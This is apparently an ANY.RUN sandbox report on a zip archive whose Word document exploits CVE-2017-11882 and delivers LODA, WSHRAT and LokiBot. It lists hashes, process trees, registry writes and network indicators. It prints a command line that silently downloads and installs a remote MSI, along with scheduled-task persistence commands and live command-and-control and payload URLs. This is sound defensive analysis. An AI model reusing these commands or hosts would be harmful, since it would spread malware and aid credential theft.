File name:

6190254132756480.zip

Full analysis: https://app.any.run/tasks/fb72bbb3-4bfe-4ecf-8ead-06e628982f34
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: June 19, 2019, 13:28:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
cve-2017-11882
loader
exe-to-msi
evasion
trojan
loda
lokibot
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

51408F0667C52A7A3628F8F3EE72099D

SHA1:

221C0C5DF4EF20F6C317474820C7BE7AD3470376

SHA256:

7BCC6FAE6D97BF7B5597F3A45F0991107093CEAC91A484016ECB4B6C7FB40E3E

SSDEEP:

384:boe3Is+9xBck/bqbHDPMP5wLWKqN4Kz127D0:bO5cIIHDkRwiYKzk7D0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3368)

    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 2888)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 1244)

    • Application was dropped or rewritten from another process

      • JSFIEI.exe (PID: 1856)
      • JSFIEI.exe (PID: 3356)

    • Changes the autorun value in the registry

      • WScript.exe (PID: 3424)
      • wscript.exe (PID: 3648)
      • wscript.exe (PID: 3400)
      • wscript.exe (PID: 1360)

    • Writes to a start menu file

      • wscript.exe (PID: 3648)
      • WScript.exe (PID: 3424)
      • wscript.exe (PID: 1360)
      • wscript.exe (PID: 3400)

    • LODA was detected

      • MSI9774.tmp (PID: 2912)

    • Connects to CnC server

      • wscript.exe (PID: 3400)
      • MSI9774.tmp (PID: 2912)
      • JSFIEI.exe (PID: 3356)
      • wscript.exe (PID: 1360)

    • Uses Task Scheduler to run other applications

      • JSFIEI.exe (PID: 1856)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 1040)

    • LOKIBOT was detected

      • JSFIEI.exe (PID: 3356)

    • Actions looks like stealing of personal data

      • JSFIEI.exe (PID: 3356)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 3368)
      • EQNEDT32.EXE (PID: 3396)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3368)
      • wscript.exe (PID: 3400)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 1244)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 1244)
      • MSI9774.tmp (PID: 2912)
      • JSFIEI.exe (PID: 1856)

    • Uses RUNDLL32.EXE to load library

      • MSI9774.tmp (PID: 2912)

    • Executes scripts

      • MSI9774.tmp (PID: 2912)
      • WScript.exe (PID: 3424)
      • wscript.exe (PID: 3400)

    • Creates files in the user directory

      • WScript.exe (PID: 3424)
      • rundll32.exe (PID: 2008)
      • wscript.exe (PID: 3648)
      • JSFIEI.exe (PID: 1856)
      • JSFIEI.exe (PID: 3356)
      • wscript.exe (PID: 3400)
      • MSI9774.tmp (PID: 2912)

    • Application launched itself

      • WScript.exe (PID: 3424)
      • wscript.exe (PID: 3400)
      • JSFIEI.exe (PID: 1856)

    • Reads Internet Cache Settings

      • rundll32.exe (PID: 2008)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2804)
      • cmd.exe (PID: 988)

    • Loads DLL from Mozilla Firefox

      • JSFIEI.exe (PID: 3356)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3624)

    • Manual execution by user

      • WINWORD.EXE (PID: 3624)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3624)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3368)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 1244)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 1244)

    • Application was dropped or rewritten from another process

      • MSI9774.tmp (PID: 2912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0009
ZipCompression: Unknown (99)
ZipModifyDate: 1980:00:00 00:00:00
ZipCRC: 0x00000000
ZipCompressedSize: 12747
ZipUncompressedSize: 13808
ZipFileName: dfea54ed8023191bc8f914eaa6c02ea4a2ffe016adb9b1d005d25855d8b7bbed
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
60
Monitored processes
20
Malicious processes
9
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start winrar.exe no specs winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs #LODA msi9774.tmp jsfiei.exe wscript.exe rundll32.exe no specs wscript.exe wscript.exe wscript.exe cmd.exe no specs taskkill.exe no specs schtasks.exe no specs #LOKIBOT jsfiei.exe cmd.exe no specs taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
988"C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exeC:\Windows\system32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1040"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\XKNyWdTNuIjVK" /XML "C:\Users\admin\AppData\Local\Temp\tmpCF16.tmp"C:\Windows\System32\schtasks.exe—JSFIEI.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1244C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1360"C:\Windows\System32\wscript.exe" //B "C:\Users\admin\AppData\Roaming\WxQRRjaNiQ.js"C:\Windows\System32\wscript.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1684"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Downloads\6190254132756480.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
1856"C:\Users\admin\AppData\Local\Temp\JSFIEI.exe" C:\Users\admin\AppData\Local\Temp\JSFIEI.exe
MSI9774.tmp
User:
admin
Integrity Level:
MEDIUM
Description:
VistaTask
Exit code:
0
Version:
1.4.8.0
Modules
Images
c:\users\admin\appdata\local\temp\jsfiei.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
2008"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\WININET.dll",DispatchAPICall 1 C:\Windows\system32\rundll32.exe—MSI9774.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
2804"C:\Windows\system32\cmd.exe" /c taskkill /F /IM kl-plugin.exeC:\Windows\system32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2888cmd.exe & /C CD C: & msiexec.exe /i http://greenroomstudio.live/app/wpdsbp.msi /quiet C:\Windows\system32\cmd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2912"C:\Windows\Installer\MSI9774.tmp"C:\Windows\Installer\MSI9774.tmp
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
3, 3, 8, 1
Modules
Images
c:\windows\installer\msi9774.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\gdi32.dll
Total events
2 844
Read events
2 278
Write events
553
Delete events
13

Modification events

(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(1684) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Downloads\6190254132756480.zip
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface
Operation:writeName:ShowPassword
Value:
0
(PID) Process:(1684) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\MainWin
Operation:writeName:Placement
Value:
2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF42000000420000000204000037020000
Executable files
4
Suspicious files
26
Text files
36
Unknown types
12

Dropped files

PID
Process
Filename
Type
1684WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb1684.43907\dfea54ed8023191bc8f914eaa6c02ea4a2ffe016adb9b1d005d25855d8b7bbed —
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3205.tmp.cvr —
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{0D8848BF-0D32-454D-8B12-1CD294932B82} —
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{E7138607-0375-4084-B814-F69FC02E719A} —
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\Desktop\~$-24470.docxpgc
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{9933E073-5B36-421D-BA1A-E58B16F96ED4}.FSDbinary
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSFbinary
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
3624WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\updates[1].doctext
MD5:—
SHA256:—
1244msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF45184F7809C481B6.TMP —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
13
DNS requests
8
Threats
33

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
972
svchost.exe
OPTIONS
—
31.14.15.154:80
http://greenroomstudio.live/
RO
—
—
suspicious
3400
wscript.exe
GET
—
172.245.14.10:80
http://doughnut-snack.live/klplu.tar.gz
US
—
—
malicious
1360
wscript.exe
POST
—
185.247.228.14:7755
http://unknownsoft.duckdns.org:7755/is-ready
unknown
—
—
malicious
1360
wscript.exe
POST
—
185.247.228.14:7755
http://unknownsoft.duckdns.org:7755/is-ready
unknown
—
—
malicious
3400
wscript.exe
GET
—
172.245.14.10:80
http://doughnut-snack.live/bpvpl.tar.gz
US
—
—
malicious
3400
wscript.exe
POST
—
103.136.43.131:1425
http://vemvemserver.duckdns.org:1425/is-ready
unknown
—
—
malicious
3356
JSFIEI.exe
POST
—
185.159.153.76:80
http://irubix.ir/wp-includes/layout/fre.php
IR
—
—
malicious
3400
wscript.exe
POST
200
103.136.43.131:1425
http://vemvemserver.duckdns.org:1425/is-ready
unknown
text
95 b
malicious
3624
WINWORD.EXE
OPTIONS
—
31.14.15.154:80
http://greenroomstudio.live/app/
RO
—
—
suspicious
1244
msiexec.exe
GET
200
31.14.15.154:80
http://greenroomstudio.live/app/wpdsbp.msi
RO
executable
624 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3624
WINWORD.EXE
31.14.15.154:80
greenroomstudio.live
T-Mobile Czech Republic a.s.
RO
suspicious
1244
msiexec.exe
31.14.15.154:80
greenroomstudio.live
T-Mobile Czech Republic a.s.
RO
suspicious
2912
MSI9774.tmp
104.25.210.99:443
ipapi.co
Cloudflare Inc
US
shared
972
svchost.exe
31.14.15.154:80
greenroomstudio.live
T-Mobile Czech Republic a.s.
RO
suspicious
1360
wscript.exe
185.247.228.14:7755
unknownsoft.duckdns.org
—
—
malicious
3400
wscript.exe
103.136.43.131:1425
vemvemserver.duckdns.org
—
—
malicious
—
—
185.159.153.76:80
irubix.ir
Fanavari Serverpars Argham Gostar Company Ltd.
IR
malicious
—
—
185.247.228.14:7755
unknownsoft.duckdns.org
—
—
malicious
3400
wscript.exe
172.245.14.10:80
doughnut-snack.live
ColoCrossing
US
malicious
—
—
103.136.43.131:3120
vemvemserver.duckdns.org
—
—
malicious

DNS requests

Domain
IP
Reputation
greenroomstudio.live
  • 31.14.15.154
suspicious
ipapi.co
  • 104.25.210.99
shared
vemvemserver.duckdns.org
  • 103.136.43.131
malicious
unknownsoft.duckdns.org
  • 185.247.228.14
malicious
doughnut-snack.live
  • 172.245.14.10
malicious
irubix.ir
  • 185.159.153.76
malicious

Threats

PID
Process
Class
Message
1244
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
1056
svchost.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (ipapi .co in DNS lookup)
1056
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1056
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
3400
wscript.exe
A Network Trojan was detected
ET TROJAN WSHRAT CnC Checkin
3400
wscript.exe
A Network Trojan was detected
ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm Checkin 1
1056
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
2912
MSI9774.tmp
A Network Trojan was detected
MALWARE [PTsecurity] Loda Logger CnC Beacon
3356
JSFIEI.exe
A Network Trojan was detected
ET TROJAN LokiBot User-Agent (Charon/Inferno)
3356
JSFIEI.exe
A Network Trojan was detected
ET TROJAN LokiBot Checkin
17 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
6190254132756480.zip